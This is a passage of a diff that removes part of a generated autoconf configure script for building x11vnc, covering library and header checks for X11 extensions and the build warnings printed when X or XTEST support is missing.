-if test ! -z "$with_x11vnc" -a "$with_x11vnc" = "yes"; then
- build_x11vnc="yes"
-elif test "$PACKAGE_NAME" = "x11vnc"; then
- build_x11vnc="yes"
-else
- build_x11vnc="no"
-fi
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-@%:@ Check whether --with-xkeyboard was given.
-if test "${with_xkeyboard+set}" = set; then :
- withval=$with_xkeyboard;
-fi
-
-
-@%:@ Check whether --with-xinerama was given.
-if test "${with_xinerama+set}" = set; then :
- withval=$with_xinerama;
-fi
-
-
-@%:@ Check whether --with-xrandr was given.
-if test "${with_xrandr+set}" = set; then :
- withval=$with_xrandr;
-fi
-
-
-@%:@ Check whether --with-xfixes was given.
-if test "${with_xfixes+set}" = set; then :
- withval=$with_xfixes;
-fi
-
-
-@%:@ Check whether --with-xdamage was given.
-if test "${with_xdamage+set}" = set; then :
- withval=$with_xdamage;
-fi
-
-
-@%:@ Check whether --with-xtrap was given.
-if test "${with_xtrap+set}" = set; then :
- withval=$with_xtrap;
-fi
-
-
-@%:@ Check whether --with-xrecord was given.
-if test "${with_xrecord+set}" = set; then :
- withval=$with_xrecord;
-fi
-
-
-@%:@ Check whether --with-fbpm was given.
-if test "${with_fbpm+set}" = set; then :
- withval=$with_fbpm;
-fi
-
-
-@%:@ Check whether --with-dpms was given.
-if test "${with_dpms+set}" = set; then :
- withval=$with_dpms;
-fi
-
-
-@%:@ Check whether --with-v4l was given.
-if test "${with_v4l+set}" = set; then :
- withval=$with_v4l;
-fi
-
-
-@%:@ Check whether --with-fbdev was given.
-if test "${with_fbdev+set}" = set; then :
- withval=$with_fbdev;
-fi
-
-
-@%:@ Check whether --with-uinput was given.
-if test "${with_uinput+set}" = set; then :
- withval=$with_uinput;
-fi
-
-
-@%:@ Check whether --with-macosx-native was given.
-if test "${with_macosx_native+set}" = set; then :
- withval=$with_macosx_native;
-fi
-
-
-fi
-# end x11vnc only.
-
-if test "x$with_x" = "xno"; then
- HAVE_X11="false"
-elif test "$X_CFLAGS" != "-DX_DISPLAY_MISSING"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XGetImage in -lX11" >&5
-$as_echo_n "checking for XGetImage in -lX11... " >&6; }
-if ${ac_cv_lib_X11_XGetImage+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lX11 $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XGetImage ();
-int
-main ()
-{
-return XGetImage ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_X11_XGetImage=yes
-else
- ac_cv_lib_X11_XGetImage=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_X11_XGetImage" >&5
-$as_echo "$ac_cv_lib_X11_XGetImage" >&6; }
-if test "x$ac_cv_lib_X11_XGetImage" = xyes; then :
- $as_echo "@%:@define HAVE_X11 1" >>confdefs.h
- HAVE_X11="true"
-else
- HAVE_X11="false"
-fi
-
-
- # x11vnc only:
- if test $HAVE_X11 = "true" -a "$build_x11vnc" = "yes"; then
- X_PRELIBS="$X_PRELIBS -lXext"
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XShmGetImage in -lXext" >&5
-$as_echo_n "checking for XShmGetImage in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_XShmGetImage+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XShmGetImage ();
-int
-main ()
-{
-return XShmGetImage ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_XShmGetImage=yes
-else
- ac_cv_lib_Xext_XShmGetImage=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_XShmGetImage" >&5
-$as_echo "$ac_cv_lib_Xext_XShmGetImage" >&6; }
-if test "x$ac_cv_lib_Xext_XShmGetImage" = xyes; then :
- $as_echo "@%:@define HAVE_XSHM 1" >>confdefs.h
-
-fi
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XReadScreen in -lXext" >&5
-$as_echo_n "checking for XReadScreen in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_XReadScreen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XReadScreen ();
-int
-main ()
-{
-return XReadScreen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_XReadScreen=yes
-else
- ac_cv_lib_Xext_XReadScreen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_XReadScreen" >&5
-$as_echo "$ac_cv_lib_Xext_XReadScreen" >&6; }
-if test "x$ac_cv_lib_Xext_XReadScreen" = xyes; then :
- $as_echo "@%:@define HAVE_SOLARIS_XREADSCREEN 1" >>confdefs.h
-
-fi
-
-
- ac_fn_c_check_header_compile "$LINENO" "X11/extensions/readdisplay.h" "ac_cv_header_X11_extensions_readdisplay_h" "#include <X11/Xlib.h>
-"
-if test "x$ac_cv_header_X11_extensions_readdisplay_h" = xyes; then :
- $as_echo "@%:@define HAVE_IRIX_XREADDISPLAY 1" >>confdefs.h
-
-fi
-
-
-
- if test "x$with_fbpm" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for FBPMForceLevel in -lXext" >&5
-$as_echo_n "checking for FBPMForceLevel in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_FBPMForceLevel+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char FBPMForceLevel ();
-int
-main ()
-{
-return FBPMForceLevel ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_FBPMForceLevel=yes
-else
- ac_cv_lib_Xext_FBPMForceLevel=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_FBPMForceLevel" >&5
-$as_echo "$ac_cv_lib_Xext_FBPMForceLevel" >&6; }
-if test "x$ac_cv_lib_Xext_FBPMForceLevel" = xyes; then :
- $as_echo "@%:@define HAVE_FBPM 1" >>confdefs.h
-
-fi
-
- fi
-
- if test "x$with_dpms" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for DPMSForceLevel in -lXext" >&5
-$as_echo_n "checking for DPMSForceLevel in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_DPMSForceLevel+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char DPMSForceLevel ();
-int
-main ()
-{
-return DPMSForceLevel ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_DPMSForceLevel=yes
-else
- ac_cv_lib_Xext_DPMSForceLevel=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_DPMSForceLevel" >&5
-$as_echo "$ac_cv_lib_Xext_DPMSForceLevel" >&6; }
-if test "x$ac_cv_lib_Xext_DPMSForceLevel" = xyes; then :
- $as_echo "@%:@define HAVE_DPMS 1" >>confdefs.h
-
-fi
-
- fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XTestGrabControl in -lXtst" >&5
-$as_echo_n "checking for XTestGrabControl in -lXtst... " >&6; }
-if ${ac_cv_lib_Xtst_XTestGrabControl+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXtst $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XTestGrabControl ();
-int
-main ()
-{
-return XTestGrabControl ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xtst_XTestGrabControl=yes
-else
- ac_cv_lib_Xtst_XTestGrabControl=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xtst_XTestGrabControl" >&5
-$as_echo "$ac_cv_lib_Xtst_XTestGrabControl" >&6; }
-if test "x$ac_cv_lib_Xtst_XTestGrabControl" = xyes; then :
- X_PRELIBS="-lXtst $X_PRELIBS"
- $as_echo "@%:@define HAVE_XTESTGRABCONTROL 1" >>confdefs.h
- HAVE_XTESTGRABCONTROL="true"
-fi
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XTestFakeKeyEvent in -lXtst" >&5
-$as_echo_n "checking for XTestFakeKeyEvent in -lXtst... " >&6; }
-if ${ac_cv_lib_Xtst_XTestFakeKeyEvent+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXtst $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XTestFakeKeyEvent ();
-int
-main ()
-{
-return XTestFakeKeyEvent ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xtst_XTestFakeKeyEvent=yes
-else
- ac_cv_lib_Xtst_XTestFakeKeyEvent=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xtst_XTestFakeKeyEvent" >&5
-$as_echo "$ac_cv_lib_Xtst_XTestFakeKeyEvent" >&6; }
-if test "x$ac_cv_lib_Xtst_XTestFakeKeyEvent" = xyes; then :
- X_PRELIBS="-lXtst $X_PRELIBS"
- $as_echo "@%:@define HAVE_XTEST 1" >>confdefs.h
- HAVE_XTEST="true"
-fi
-
-
- if test "x$with_xrecord" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XRecordEnableContextAsync in -lXtst" >&5
-$as_echo_n "checking for XRecordEnableContextAsync in -lXtst... " >&6; }
-if ${ac_cv_lib_Xtst_XRecordEnableContextAsync+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXtst $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XRecordEnableContextAsync ();
-int
-main ()
-{
-return XRecordEnableContextAsync ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xtst_XRecordEnableContextAsync=yes
-else
- ac_cv_lib_Xtst_XRecordEnableContextAsync=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xtst_XRecordEnableContextAsync" >&5
-$as_echo "$ac_cv_lib_Xtst_XRecordEnableContextAsync" >&6; }
-if test "x$ac_cv_lib_Xtst_XRecordEnableContextAsync" = xyes; then :
- X_PRELIBS="-lXtst $X_PRELIBS"
- $as_echo "@%:@define HAVE_RECORD 1" >>confdefs.h
-
-fi
-
- fi
-
- # we use XTRAP on X11R5, or user can set X11VNC_USE_XTRAP
- if test "x$with_xtrap" != "xno"; then
- if test ! -z "$X11VNC_USE_XTRAP" -o -z "$HAVE_XTESTGRABCONTROL"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XETrapSetGrabServer in -lXTrap" >&5
-$as_echo_n "checking for XETrapSetGrabServer in -lXTrap... " >&6; }
-if ${ac_cv_lib_XTrap_XETrapSetGrabServer+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXTrap $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XETrapSetGrabServer ();
-int
-main ()
-{
-return XETrapSetGrabServer ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_XTrap_XETrapSetGrabServer=yes
-else
- ac_cv_lib_XTrap_XETrapSetGrabServer=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_XTrap_XETrapSetGrabServer" >&5
-$as_echo "$ac_cv_lib_XTrap_XETrapSetGrabServer" >&6; }
-if test "x$ac_cv_lib_XTrap_XETrapSetGrabServer" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXTrap"
- $as_echo "@%:@define HAVE_LIBXTRAP 1" >>confdefs.h
-
-fi
-
- # tru64 uses libXETrap.so
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XETrapSetGrabServer in -lXETrap" >&5
-$as_echo_n "checking for XETrapSetGrabServer in -lXETrap... " >&6; }
-if ${ac_cv_lib_XETrap_XETrapSetGrabServer+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXETrap $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XETrapSetGrabServer ();
-int
-main ()
-{
-return XETrapSetGrabServer ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_XETrap_XETrapSetGrabServer=yes
-else
- ac_cv_lib_XETrap_XETrapSetGrabServer=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_XETrap_XETrapSetGrabServer" >&5
-$as_echo "$ac_cv_lib_XETrap_XETrapSetGrabServer" >&6; }
-if test "x$ac_cv_lib_XETrap_XETrapSetGrabServer" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXETrap"
- $as_echo "@%:@define HAVE_LIBXTRAP 1" >>confdefs.h
-
-fi
-
- fi
- fi
-
- if test "x$with_xkeyboard" != "xno"; then
- saved_CPPFLAGS="$CPPFLAGS"
- CPPFLAGS="$CPPFLAGS $X_CFLAGS"
- ac_fn_c_check_header_compile "$LINENO" "X11/XKBlib.h" "ac_cv_header_X11_XKBlib_h" "#include <X11/Xlib.h>
-"
-if test "x$ac_cv_header_X11_XKBlib_h" = xyes; then :
- HAVE_XKBLIB_H="true"
-else
- HAVE_XKBLIB_H="false"
-fi
-
-
- CPPFLAGS="$saved_CPPFLAGS"
- if test $HAVE_XKBLIB_H = "true"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XkbSelectEvents in -lX11" >&5
-$as_echo_n "checking for XkbSelectEvents in -lX11... " >&6; }
-if ${ac_cv_lib_X11_XkbSelectEvents+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lX11 $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XkbSelectEvents ();
-int
-main ()
-{
-return XkbSelectEvents ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_X11_XkbSelectEvents=yes
-else
- ac_cv_lib_X11_XkbSelectEvents=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_X11_XkbSelectEvents" >&5
-$as_echo "$ac_cv_lib_X11_XkbSelectEvents" >&6; }
-if test "x$ac_cv_lib_X11_XkbSelectEvents" = xyes; then :
- $as_echo "@%:@define HAVE_XKEYBOARD 1" >>confdefs.h
-
-fi
-
- fi
- fi
-
- if test "x$with_xinerama" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XineramaQueryScreens in -lXinerama" >&5
-$as_echo_n "checking for XineramaQueryScreens in -lXinerama... " >&6; }
-if ${ac_cv_lib_Xinerama_XineramaQueryScreens+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXinerama $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XineramaQueryScreens ();
-int
-main ()
-{
-return XineramaQueryScreens ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xinerama_XineramaQueryScreens=yes
-else
- ac_cv_lib_Xinerama_XineramaQueryScreens=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xinerama_XineramaQueryScreens" >&5
-$as_echo "$ac_cv_lib_Xinerama_XineramaQueryScreens" >&6; }
-if test "x$ac_cv_lib_Xinerama_XineramaQueryScreens" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXinerama"
- $as_echo "@%:@define HAVE_LIBXINERAMA 1" >>confdefs.h
-
-fi
-
- fi
-
- if test "x$with_xrandr" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XRRSelectInput in -lXrandr" >&5
-$as_echo_n "checking for XRRSelectInput in -lXrandr... " >&6; }
-if ${ac_cv_lib_Xrandr_XRRSelectInput+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXrandr $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XRRSelectInput ();
-int
-main ()
-{
-return XRRSelectInput ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xrandr_XRRSelectInput=yes
-else
- ac_cv_lib_Xrandr_XRRSelectInput=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xrandr_XRRSelectInput" >&5
-$as_echo "$ac_cv_lib_Xrandr_XRRSelectInput" >&6; }
-if test "x$ac_cv_lib_Xrandr_XRRSelectInput" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXrandr"
- $as_echo "@%:@define HAVE_LIBXRANDR 1" >>confdefs.h
- HAVE_LIBXRANDR="true"
-fi
-
- fi
-
- if test "x$with_xfixes" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XFixesGetCursorImage in -lXfixes" >&5
-$as_echo_n "checking for XFixesGetCursorImage in -lXfixes... " >&6; }
-if ${ac_cv_lib_Xfixes_XFixesGetCursorImage+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXfixes $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XFixesGetCursorImage ();
-int
-main ()
-{
-return XFixesGetCursorImage ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xfixes_XFixesGetCursorImage=yes
-else
- ac_cv_lib_Xfixes_XFixesGetCursorImage=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xfixes_XFixesGetCursorImage" >&5
-$as_echo "$ac_cv_lib_Xfixes_XFixesGetCursorImage" >&6; }
-if test "x$ac_cv_lib_Xfixes_XFixesGetCursorImage" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXfixes"
- $as_echo "@%:@define HAVE_LIBXFIXES 1" >>confdefs.h
- HAVE_LIBXFIXES="true"
-fi
-
- fi
-
- if test "x$with_xdamage" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XDamageQueryExtension in -lXdamage" >&5
-$as_echo_n "checking for XDamageQueryExtension in -lXdamage... " >&6; }
-if ${ac_cv_lib_Xdamage_XDamageQueryExtension+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXdamage $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XDamageQueryExtension ();
-int
-main ()
-{
-return XDamageQueryExtension ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xdamage_XDamageQueryExtension=yes
-else
- ac_cv_lib_Xdamage_XDamageQueryExtension=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xdamage_XDamageQueryExtension" >&5
-$as_echo "$ac_cv_lib_Xdamage_XDamageQueryExtension" >&6; }
-if test "x$ac_cv_lib_Xdamage_XDamageQueryExtension" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXdamage"
- $as_echo "@%:@define HAVE_LIBXDAMAGE 1" >>confdefs.h
- HAVE_LIBXDAMAGE="true"
-fi
-
- fi
-
- if test ! -z "$HAVE_LIBXFIXES" -o ! -z "$HAVE_LIBXDAMAGE"; then
- # need /usr/sfw/lib in RPATH for Solaris 10 and later
- case `(uname -sr) 2>/dev/null` in
- "SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS -R/usr/sfw/lib" ;;
- esac
- fi
- if test ! -z "$HAVE_LIBXRANDR"; then
- # also need /usr/X11/include for Solaris 10 10/08 and later
- case `(uname -sr) 2>/dev/null` in
- "SunOS 5"*) CPPFLAGS="$CPPFLAGS -I/usr/X11/include" ;;
- esac
- fi
-
- X_LIBS="$X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS"
- fi
- # end x11vnc only.
-fi
-
-
- if test $HAVE_X11 != "false"; then
- HAVE_X11_TRUE=
- HAVE_X11_FALSE='#'
-else
- HAVE_X11_TRUE='#'
- HAVE_X11_FALSE=
-fi
-
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
-
-if test "x$HAVE_X11" = "xfalse" -a "x$with_x" != "xno"; then
- as_fn_error $? "
-==========================================================================
-*** A working X window system build environment is required to build ***
-x11vnc. Make sure any required X development packages are installed.
-If they are installed in non-standard locations, one can use the
---x-includes=DIR and --x-libraries=DIR configure options or set the
-CPPFLAGS and LDFLAGS environment variables to indicate where the X
-window system header files and libraries may be found. On 64+32 bit
-machines you may need to point to lib64 or lib32 directories to pick up
-the correct word size.
-
-If you want to build x11vnc without X support (e.g. for -rawfb use only
-or for native Mac OS X), specify the --without-x configure option.
-==========================================================================
-" "$LINENO" 5
-fi
-
-if test "x$HAVE_X11" = "xtrue" -a "x$HAVE_XTEST" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** A working build environment for the XTEST extension was not found ***
-(libXtst). An x11vnc built this way will be *ONLY BARELY USABLE*.
-You will be able to move the mouse but not click or type. There can
-also be deadlocks if an application grabs the X server.
-
-It is recommended that you install the necessary development packages
-for XTEST (perhaps it is named something like libxtst-dev) and run
-configure again.
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** A working build environment for the XTEST extension was not found ***
-(libXtst). An x11vnc built this way will be *ONLY BARELY USABLE*.
-You will be able to move the mouse but not click or type. There can
-also be deadlocks if an application grabs the X server.
-
-It is recommended that you install the necessary development packages
-for XTEST (perhaps it is named something like libxtst-dev) and run
-configure again.
-==========================================================================
-" >&2;}
- sleep 5
-fi
-
-if test "x$with_v4l" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "linux/videodev.h" "ac_cv_header_linux_videodev_h" "$ac_includes_default"
-if test "x$ac_cv_header_linux_videodev_h" = xyes; then :
- $as_echo "@%:@define HAVE_LINUX_VIDEODEV_H 1" >>confdefs.h
-
-fi
-
-
-fi
-if test "x$with_fbdev" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "linux/fb.h" "ac_cv_header_linux_fb_h" "$ac_includes_default"
-if test "x$ac_cv_header_linux_fb_h" = xyes; then :
- $as_echo "@%:@define HAVE_LINUX_FB_H 1" >>confdefs.h
-
-fi
-
-
-fi
-if test "x$with_uinput" != "xno"; then
